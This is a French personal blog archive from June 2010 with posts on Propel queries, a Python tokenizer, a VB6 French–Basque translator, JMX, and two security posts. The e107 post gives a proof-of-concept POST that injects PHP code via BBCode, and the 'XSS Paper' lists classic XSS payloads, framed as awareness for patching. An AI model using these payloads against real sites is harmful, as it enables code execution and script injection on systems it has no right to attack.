Archive for juin, 2010

[PHP] Propel la magie du Search Engine in one line

samedi, juin 26th, 2010

Bonjour,

Propel, une belle API que facilite la vie de nos données ainsi de nous rendre service pour tout storing or retrieving data :) .

Si on veut chercher (en mode Full-text) les books par nom donc on peut appliquer une simple expression régulière , instruction comme suit :


class BookQuery extends BaseBookQuery
{
public function filterByText($text)
{
$pattern = '%' . $text . '%';
return $this
->where('Book.Title like ?', $pattern)
->orWhere('Book.Summary like ?', $pattern);
}
}

Joli Hein ^^, Perso j’ai tendance à intègrer les match against ainsi le traitement lourd de la recherche dans une tel classe pour avoir plus de rapidité et plus de clarté de code .

Python Codin

jeudi, juin 24th, 2010

Bonjour ,

Je vous présente également un petit script que j’ai codé mais il m a rendu fou :/ !!

Alors le principe est du traiter des documents a la file et faire un traitement bien déterminer sur chaque document .

Bon tout est nickel , parfait sauf qu’au bout de 5 sec de l’exec, hé bin si on inspecte le comportement du CPU on trouve qu’il fait 5x que la normal .

Wala le script’oun et vous pouvez en servir volontairement :)


#!/usr/bin/python
import sys,locale,getopt,string
import re
def usage():
print """Usage: tokenizer.py """
def matchComma1(match1):
return match1.group(1)+ " "+ match1.group(2)+ " " +match1.group(3)

def matchComma2(match2):
return match2.group(1)+ " "+ match2.group(2)+ " " +match2.group(3)

def matchComma3(match3):
return match3.group(1)+ "_"+ match3.group(2)+ "_" +match3.group(3)+ "_" +match3.group(4)+ "_" + match3.group(5)

def matchComma4(match4):
return match4.group(1)+ " "+ match4.group(2)+ " "

def matchComma5(match5):
return match5.group(1)+match5.group(2) + "_" + match5.group(4)

def matchComma6(match6):
return match6.group(1) + match6.group(3)

def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "ho", ["help","option"])
except getopt.GetoptError:
usage()
sys.exit(2)

for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
if o in ("-o","--option"):
optionVariable = a
comma1 = r'(\w)(\?|\+|\#|\!|\;|\:|\"|\(|\)|\/|\&|\%|\$|\*|\[|\]|\{|\})(\w)'
comma2 = r'(\D)(\,)(\D)'
comma3 = r'(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})\.(\d{2})'
comma4 = r'(\w)(\.)'
comma5 = r'(N|Mr|MM|Mme|Mmes|Mle|Mlle|Melle|Mles|Mlles|Melles|Me|Dr|Pr|Prof|Ste|ste)(\.)( )(\w)'
comma6 = r'(\d)( )(\d)'

regComma1 = re.compile(comma1)
regComma2 = re.compile(comma2)
regComma3 = re.compile(comma3)
regComma4 = re.compile(comma4)
regComma5 = re.compile(comma5)
regComma6 = re.compile(comma6)
for line in sys.stdin.readlines():
line1 = regComma1.sub(matchComma1,line)
line2 = regComma2.sub(matchComma2,line1)
line3 = regComma6.sub(matchComma6,line2)
line4 = regComma3.sub(matchComma3,line3)
line5 = regComma5.sub(matchComma5,line4)
line6 = regComma4.sub(matchComma4,line5)
print line6,

if __name__ == "__main__":
main()

Si vous avez des améliorations n’hésitez pas à me les communiquer , comme ça je mes à jour mon demon :)

++

Appli Traducteur Français Basque

jeudi, juin 24th, 2010

Bonjour,

Voilà depis 1 ans j’avais le courage de faire un petit traducteur ( Français <--> Basque | Hé oui moi le tunisien qui le fait *_O ) suite à une demande d’un ami à moi. Donc aujourd’hui je poste une partie du code source pour ceux qui pouvait m’aider à résoudre beaucoup des pbs que j’ai rencontré :/
Le code est en VB6 et voilà le CORE de l’appli


'########----------- VERSION I : TRADUCTION DES MOTS DE POIDS = 1 --------###########################
'######## LAST Update Was : 27 / AVRIL / 2009 AU lit ( Faut penser a Reecrire la fonction de cryptage ) ##########
Option Explicit
Dim t() As String ' Tableau des phrases extraites de la zone de texte
Dim t_t() As String ' Tableau des mots et des combinaisons extraites de chaque ligne de tableau t()
Dim mot As String ' Contenaire des mots extraites ain pour etre traiter
Dim i, j, k, h, s As Integer ' Compteur
Dim code_fr As Integer ' code dans le dico french
Dim ligne_fr, mot_fr As String ' ligne de la dico french
Dim base_code_fr As String ' code Fr de la phrase saisie dans le champ texte
Dim ligne_base, mot_base As String ' ligne dans la base des regles
Dim regle As String ' Regle du mot a traiter : Extraction des codes Bs et les affecter au mot result ( Out)
Dim code_regle As String ' Code de la regle a comparer avec le code de Bs_dico
Dim ligne_bs, mot_bs As String ' Ligne et code de comparaison de dico Bs
Dim final As String
Private Sub Command1_Click()
If Text1.Text <> "" Then
Text2.Text = ""
final = ""

'------------------------- EXTRACTION DES MOTS DE TEXTBOX --------------------------------------
k = 1
h = 1
For i = 1 To Len(Text1.Text)
If Mid(Text1.Text, i, 1) <> "." Or i = Len(Text1.Text) Then
'########################Faut pas oublier le traitement des , ; . : ? ! #################################
mot = mot & Mid(Text1.Text, i, 1)
If i = Len(Text1.Text) Then
ReDim Preserve t(k) As String
t(k) = mot
mot = ""
End If
Else
ReDim Preserve t(i) As String
t(k) = mot: k = k + 1
mot = ""
End If
Next i
'---------- Affichage du tableau des phrases ##### Faut penser au decoupage des phrase en mots ##### --------
For i = 1 To k
MsgBox t(i)
Stop
'------------------ TRAITEMENT DES PHRASES ET DECOUPAGE EN MOT ---------------------------------
For j = 1 To Len(t(i))
If Mid(t(i), j, 1) <> " " Then
mot = mot & Mid(t(i), j, 1)
If j = Len(t(i)) Then
ReDim Preserve t_t(h) As String
t_t(h) = mot
mot = ""
End If
Else
' If j = Len(t(i)) Then
ReDim Preserve t_t(h) As String
t_t(h) = mot: h = h + 1
mot = ""
' End If
End If
Next j
'------------- Quelques part ici faut penser a Retraiter les mots --------------------------------------
'------------------- FIN DE DECOUPAGE -------------------------------------------------------------
ReDim t_t(h) As String
h = 1
Next i
'----------- Fin d'affichage des phrases ------------------------------------------------------------------------
If Dir(App.Path & "\Fr_dico.maj") <> "" And Dir(App.Path & "\Bs_dico.maj ") <> "" And Dir(App.Path & "\base.maj") <> "" Then
'--------------------- BOUCLE GENERAL IN ZE TABLE OF FR3NCH WORDS -------------------------------------------
For i = 1 To k
'---------------------- Recherche du code Fr -------------------------------------------
Open App.Path & "\Fr_dico.maj" For Input As #1
Do While Not EOF(1)
Line Input #1, ligne_fr
mot_fr = ""
For j = 1 To Len(ligne_fr)
If Mid(ligne_fr, j, 1) <> ":" Then
mot_fr = mot_fr & Mid(ligne_fr, j, 1)
Else
Exit For
End If
Next j
'-------------------- Test des codes et l'affection au tableau des codes FR -------------------------
If LCase(Trim(t(i))) = mot_fr Then
base_code_fr = Mid(ligne_fr, Len(mot_fr) + 2, Len(ligne_fr) - Len(mot_fr))
'----------- DÉBUT DU TRAITEMENT DE LA PARTIE POUR EXTRACTION DE LA RÈGLE CORRESPONDANTE ------------
Open App.Path & "\base.maj" For Input As #2
Do While Not EOF(2)
Line Input #2, ligne_base
mot_base = ""
For j = 1 To Len(ligne_base)
If Mid(ligne_base, j, 1) <> ":" Then
mot_base = mot_base & Mid(ligne_base, j, 1)
Else
Exit For
End If
Next j
If mot_base = "fr_" & base_code_fr Then
regle = Replace(ligne_base, "fr_" & base_code_fr & ":", "")
regle = Replace(regle, "bs_", "")
'MsgBox regle
'Stop
'Traitement de la regle : Extraction des codes Bs
For j = 1 To Len(regle)
If Mid(regle, j, 1) <> "|" Then
code_regle = code_regle & Mid(regle, j, 1)
Else
Open App.Path & "\Bs_dico.maj" For Input As #3
Do While Not EOF(3)
Line Input #3, ligne_bs
mot_bs = ""
For s = 1 To Len(ligne_bs)
If Mid(ligne_bs, s, 1) <> ":" Then
mot_bs = mot_bs & Mid(ligne_bs, s, 1)
Else
Exit For
End If
Next s
If code_regle = Mid(ligne_bs, Len(mot_bs) + 2, Len(ligne_bs) - Len(mot_bs)) Then
final = final & Mid(ligne_bs, 1, Len(ligne_bs) - Len(code_regle) - 1) & " "
code_regle = ""
End If
Loop
Close #3
End If
Next j
'Fin de traitement

End If
Loop
Close #2
'------------------------ FIN D'EXTRACTION DE LA RÈGLE -----------------------------------------
Exit Do
End If
'------------------- Fin de test d'affectation -----------------------------------------------
Loop
Close #1
'---------------------- Fin de recherche Fr ----------------------------------------------------
Next i
'----------------- FIN DE BOUCLE ---------------------------------------------------
End If
Text2.Text = final
End If
End Sub

Voilà la partie la plus sensible même si l’algo est pas si compliqué mais y a bcp des choses à revoir :/

API JMX [0_O]

mercredi, juin 23rd, 2010

Bonjour,

Je vais vous présenter une API que j’aime bien, ça donne toujours l’impression que tout est sous  » contrôle  » et que on maitrise la situation …
Sinon JMX permet de superviser et d’administrer des ressources matérielles accessibles depuis une JVM comme des ressources logiciels s’exécutant sur une JVM. L’instrumentation des ressources se fait au moyen de composants appelés MBean (Manageable Bean). La spécification JMX définit l’ensemble des interfaces et classes nécessaires à cette instrumentation.

Pour cela faut activer l’agent JMX ( MBeanServer ) :

java -Dcom.sun.management.jmxremote -jar Application_name.jar

L’utilisation et l’accès aux MBeans enregistrés sur un MBeanServer est si facile à savoir ces fonctions :

Object getAttribute(ObjectName objname, String attrname);
AttributeList getAttributes(ObjectName objname, String[] attrnames);
MBeanInfo getMBeanInfo(ObjectName objname);
Object invoke(ObjectName objname, String method, Object[] params, String[] signature);
void setAttribute(ObjectName objname, Attribute attribute);
AttributeList setAttributes(ObjectName objname, AttributeList attributes);

Oilà une tite introduction et vous pouvez avoir le reste de l’article ici : Article JMX

Merci ^^ .

e107 BBCode Remote PHP Code Execution Vulnerability

mercredi, juin 23rd, 2010

Bonjour,

Hé oui tout est dans le titre de l’article !!

C’est une faille qui permet aux users non-athentifiés à exécuter du PHP à cause d’une mauvaise implémentation d’accés au niveau du contrôle du BBcode dans le CMS E107 :/ .

Cela est visible ici dans cette fonction du BBcodeParser:

function post_toHTML($text, $modifier = true, $extra = '') {
...

//If user is not allowed to use [php] change to entities
if(!check_class($pref['php_bbcode']))
{
$text = preg_replace("#\[(php)#i", "[\\1", $text);
}

return ($modifier ? $this->toHTML($text, true, $extra) : $text);
}

Or on voit bien qu’un post d’un user peut être transformer en HTML grâce à la fonction toHTML() function !!!

On va prendre un simple exemple : une fonction toEMAIL() :


function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
{
if ($posted === TRUE && MAGIC_QUOTES_GPC)
{
$text = stripslashes($text);
}

$text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
$text = $this->toHTML($text,TRUE,$mods);
return $text;
}

Alors si on utilise cette fonction pour le traitement des inputs de l’user, donc on peut exec du code php sans pbs *_* » !!!!

exemple :

if(isset($_POST['send-contactus'])){

$error = "";

$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
$sender = check_email($_POST['email_send']);
$subject = $tp->toEmail($_POST['subject'],TRUE,"rawtext");
$body = $tp->toEmail($_POST['body'],TRUE,"rawtext");

Proof Of Concept ^^ :

Soit le POST Suivant à travers le code déjà implémenter :


POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&

Donc à vos Patchs :)

XSS Paper :# !!

mardi, juin 15th, 2010

Bonjour,
Je vais vous présenter une attaque que je trouve si dangereuse et si répandue , il s’agit de XSS attaque .

Pour la déf , hé bin désolé de vous dire que vous pouvez googler le mot sinon voici quelques exemples des codes que je trouve sympa et intéressant de le savoir :

– Image XSS en utilisant un peu du JavaScript :

<IMG SRC= »javascript:alert(‘XSS’); »>

sinon

<IMG SRC=javascript:alert(‘XSS’)>

encore

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

aussi

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

celle aussi j’adore ^^

<IMG «  » »><SCRIPT>alert(« XSS »)</SCRIPT> »>

– XSS en double ou simple cotes :

<SCRIPT>alert(/XSS/.source)</SCRIPT>

sinon

\ »;alert(‘XSS’);//

– Cella c’est in ze End Title Tag :

</TITLE><SCRIPT>alert(« XSS »);</SCRIPT>

– Avec un joli petit input :p :

<INPUT TYPE= »IMAGE » SRC= »javascript:alert(‘XSS’); »>

Aussi mes chers je peux vous dire qu’à travers l’appel du CSS Sheet on pourra exec du code JS tq :

<LINK REL= »stylesheet » HREF= »javascript:alert(‘XSS’); »>

ou plutot avec un remote style Sheet :

<LINK REL= »stylesheet » HREF= »http://xssxsxsxsxsxsx/xss.css »>

Woila woilou , donc faut jamais hésiter à inspecter son code pour éviter le pire ~_~)*